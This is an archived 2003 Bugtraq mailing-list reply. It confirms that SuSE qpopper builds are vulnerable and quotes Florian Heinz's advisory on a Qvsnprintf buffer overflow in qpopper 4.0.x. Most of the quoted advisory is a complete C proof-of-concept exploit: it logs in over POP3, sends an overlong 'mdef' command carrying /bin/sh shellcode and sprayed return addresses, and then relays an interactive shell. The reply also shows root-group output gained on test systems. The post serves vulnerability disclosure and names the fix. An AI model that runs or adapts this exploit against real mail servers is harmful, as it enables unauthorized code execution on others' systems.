lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: 11 Mar 2003 21:42:11 +0100
From: Jonas Frey <jonas.frey@....de>
To: bugtraq@...urityfocus.com
Subject: Re: QPopper 4.0.x buffer overflow vulnerability


Hello,

i just checked and got:
Suse 7.3 (qpopper.rpm 4.0.3-34) is vulnerable, you get 
id
uid=503(test) gid=0(root) groups=0(root)

(Using Mailuser "test").

Same goes for Suse 8.0 (qpopper-4.0.3-168)


The overflow isnt logged anywhere, you just see normal pop logins.

Jonas

On Mon, 2003-03-10 at 15:31, Florian Heinz wrote:
> Hello,
> 
> Under certain conditions it is possible to execute arbitrary code using
> a buffer overflow in the recent qpopper.
> 
> You need a valid username/password-combination and code is (depending on
> the setup) usually executed with the user's uid and gid mail.
> 
> Explanation:
> 
> Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
> function is used unconditionally on any system, regardless if the system
> has its own vsnprintf().
> The function correctly writes up to 'n' bytes into the buffer, but fails
> to null-terminate it, if buffer-space runs out while copying the
> format-string (so the obvious fix is, null-terminate the buffer in
> Qvsnprintf()).
> This is a problem in pop_msg() (popper/pop_msg.c).
> The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
> the successive call to strcat (strcat(message,"\r\n")) writes somewhere
> into thew stack. What it exactly overwrites depends heavily on the
> individual binary and the current stack-data (where is the next
> null-byte).
> I successfully managed to execute arbitrary code using the
> 'mdef'-command with the binary in the most recent debian-package
> 'qpopper-4.0.4-8'
> Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
> fills the buffer leaving it unterminated. The strcat overwrites the
> least significant byte of the saved basepointer on the stack,
> now pointing inside the buffer. On return of pop_mdef() (file
> pop_extend.c), the return-address is now fetched from within our buffer
> (and of course pointing inside our buffer), allowing to, for example,
> spawn a shell.
> The Macroname may not include bytes causing isspace() to return true
> and, of course, no null-byte, so shellcode must be appropriate crafted.
> I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
> SuSE is more lucky, strcat doesn't overwrite critical values. I have
> not yet tested other distributions.
> 
> Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
> debian qpopper-4.0.4-8:
> 
> -- snip --
> 
> 
> #include <sys/socket.h>
> #include <sys/select.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <unistd.h>
> 
> char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
>            "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
>            "\x40\x40\xcd\x80";           
> 
> #define BUFLEN 1006
> #define RETLEN 148
> #define RETADDR 0xbfffd304
> 
> int main (int argc, char **argv) {
>    int fd, len, i, retaddr = RETADDR;
>    char *bp, buf[2000];
>    struct sockaddr_in peer;
>    fd_set fs;
> 
>    if (argc != 4) {
>       fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
>       exit(EXIT_FAILURE);
>    }
>    
>    peer.sin_family = AF_INET;
>    peer.sin_port = htons(110);
>    peer.sin_addr.s_addr = inet_addr(argv[1]);
>    fd = socket(AF_INET, SOCK_STREAM, 0);
>    if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
>       perror("connect");
>       exit(EXIT_FAILURE);
>    }
>    snprintf(buf, 1024, "USER %s\n", argv[2]);
>    write(fd, buf, strlen(buf));
>    snprintf(buf, 1024, "PASS %s\n", argv[3]);
>    write(fd, buf, strlen(buf));
>    memset(buf, 0x90, 2000);
>    memcpy(buf, "mdef ", 5);
>    memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
>    bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
>    for (i = 0; i < RETLEN; i += 4)
>      memcpy(bp+i+2, &retaddr, sizeof(int));
>    buf[BUFLEN-2] = '(';
>    buf[BUFLEN-1] = ')';
>    buf[BUFLEN] = '\n';
>    write(fd, buf, BUFLEN+1);
>    while (1) {
>       FD_ZERO(&fs);
>       FD_SET(0, &fs);
>       FD_SET(fd, &fs);
>       select(fd+1, &fs, NULL, NULL, NULL);
>       if (FD_ISSET(0, &fs)) {
> 	 if ((len = read(0, buf, 1000)) <= 0)
> 	   break;
> 	 write(fd, buf, len);
>       } else {
> 	 if ((len = read(fd, buf, 1000)) <= 0)
> 	   break;
> 	 write(1, buf, len);
>       }
>    }
>    
>    exit(EXIT_SUCCESS);
> }
> 
> -- snap --
> 
> This is the short version. An enhanced version with error-checking,
> bufsize- and return-address autodetection can be found on
> http://nstx.dereference.de/snippets/qex.c
> 
> Feedback is welcome.
> 
> regards,
> 
> Florian Heinz
> Cronon AG
> http://www.cronon.org
> 
> PS: sorry for the bad english ;)
> 





Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ